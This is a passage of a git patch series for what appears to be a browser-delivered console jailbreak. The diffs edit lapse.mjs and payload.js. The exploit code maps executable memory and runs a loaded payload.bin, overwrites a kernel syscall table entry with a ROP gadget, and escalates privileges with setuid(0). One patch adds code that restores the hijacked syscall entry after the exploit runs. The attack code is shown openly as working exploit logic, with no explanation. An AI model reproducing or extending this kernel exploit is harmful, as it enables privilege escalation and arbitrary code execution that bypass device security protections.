payload_loader.size, PROT_READ | PROT_WRITE | PROT_EXEC); - const ctx = new Buffer(0x10); - const pthread = new Pointer(); - pthread.ctx = ctx; - - call_nze( - 'pthread_create', - pthread.addr, - 0, - payload_loader.addr, - payload_buffer, - ); -})*/ - function malloc(sz) { var backing = new Uint8Array(0x10000 + sz); @@ -1827,7 +1807,9 @@ function malloc32(sz) { return ptr; } + kexploit().then(() => { + window.pld_size = new Int(0x26200000, 0x9); var payload_buffer = chain.sysp('mmap', window.pld_size, 0x300000, 7, 0x41000, -1, 0); diff --git a/payload.js b/payload.js index 1ba4d7f..f6a82e5 100644 --- a/payload.js +++ b/payload.js @@ -1,7 +1,6 @@ if (sessionStorage.getItem('jbsuccess')) { sessionStorage.setItem('binloader', 1); } else { - sessionStorage.removeItem('binloader'); fetch('./payload.bin').then(res => { res.arrayBuffer().then(arr => { window.pld = new Uint32Array(arr); @@ -9,4 +8,3 @@ if (sessionStorage.getItem('jbsuccess')) { }) }) } - From f07c1eab5916fc09cc94c336b8a0a35ae12e74f0 Mon Sep 17 00:00:00 2001 From: Nazky <56560636+Nazky@users.noreply.github.com> Date: Thu, 29 May 2025 21:04:57 +0200 Subject: [PATCH 4/4] Update lapse.mjs --- lapse.mjs | 9 +++++++++ 1 file changed, 9 insertions(+) mode change 100755 => 100644 lapse.mjs diff --git a/lapse.mjs b/lapse.mjs old mode 100755 new mode 100644 index 73afe82..39441a0 --- a/lapse.mjs +++ b/lapse.mjs @@ -1505,6 +1505,9 @@ async function patch_kernel(kbase, kmem, p_ucred, restore_info) { // sysent[661] is unimplemented so free for use const offset_sysent_661 = 0x1107f00; const sysent_661 = kbase.add(offset_sysent_661); + const sy_narg = kmem.read32(sysent_661); + const sy_call = kmem.read64(sysent_661.add(8)); + const sy_thrcnt = kmem.read32(sysent_661.add(0x2c)); // .sy_narg = 6 kmem.write32(sysent_661, 6); // .sy_call = gadgets['jmp qword ptr [rsi]'] @@ -1594,6 +1597,12 @@ async function patch_kernel(kbase, kmem, p_ucred, restore_info) { log('setuid(0)'); sysi('setuid', 0); log('kernel exploit succeeded!'); + log('restore sys_aio_submit()'); + kmem.write32(sysent_661, sy_narg); + // .sy_call = gadgets['jmp qword ptr [rsi]'] + kmem.write64(sysent_661.add(8), sy_call); + // .sy_thrcnt = SY_THR_STATIC + kmem.write32(sysent_661.add(0x2c), sy_thrcnt); alert("kernel exploit succeeded!"); }